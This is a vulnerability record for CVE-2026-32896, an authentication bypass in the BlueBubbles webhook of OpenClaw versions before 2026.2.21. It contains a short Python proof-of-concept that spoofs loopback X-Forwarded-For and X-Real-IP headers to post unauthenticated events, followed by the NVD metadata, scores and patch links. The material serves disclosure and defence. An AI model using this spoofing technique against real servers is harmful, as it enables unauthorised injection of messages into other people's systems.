CVE-2026-32896

#!/usr/bin/env python3 # PoC for CVE-2026-32896: OpenClaw Unauthenticated Webhook Access import requests import sys def exploit(target_url): """ Attempts to send an unauthenticated webhook event by simulating a loopback/proxy request to bypass the passwordless fallback check. """ # The endpoint typically used for BlueBubbles webhooks endpoint = f"{target_url}/api/webhooks/bluebubbles" # Headers that might trigger the loopback/proxy heuristics # Commonly involves spoofing X-Forwarded-For or similar headers headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "X-Forwarded-For": "127.0.0.1", # Attempting to look like a loopback request "X-Real-IP": "127.0.0.1" } # Malicious payload to be processed by the webhook payload = { "event": "message", "data": "Arbitrary data to test unauthenticated processing" } try: print(f"[*] Sending unauthenticated request to {endpoint}...") response = requests.post(endpoint, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Request accepted! Authentication bypass likely successful.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <http://target_url>") sys.exit(1) exploit(sys.argv[1])

{"cve": {"id": "CVE-2026-32896", "sourceIdentifier": "[email protected]", "published": "2026-03-21T01:17:10.510", "lastModified": "2026-03-23T19:45:52.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.2.21 BlueBubbles webhook handler contains a passwordless fallback authentication path that allows unauthenticated webhook events in certain reverse-proxy or local routing configurations. Attackers can bypass webhook authentication by exploiting the loopback/proxy heuristics to send unauthenticated webhook events to the BlueBubbles plugin."}, {"lang": "es", "value": "Las versiones de OpenClaw anteriores a 2026.2.21 BlueBubbles webhook gestor contienen una ruta de autenticación de respaldo sin contraseña que permite eventos de webhook no autenticados en ciertas configuraciones de proxy inverso o de enrutamiento local. Los atacantes pueden eludir la autenticación de webhook al explotar la heurística de bucle invertido/proxy para enviar eventos de webhook no autenticados al plugin de BlueBubbles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.2.21", "matchCriteriaId": "09CAA52D-0C33-41B4-854A-338CBFC45513"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/283029bdea23164ab7482b320cb420d1b90df806", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/commit/6b2f2811dc623e5faaf2f76afaa9279637174590", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5mx2-2mgw-x8rm", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-unauthenticated-webhook-access-via-passwordless-fallback-in-bluebubbles-plugin", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}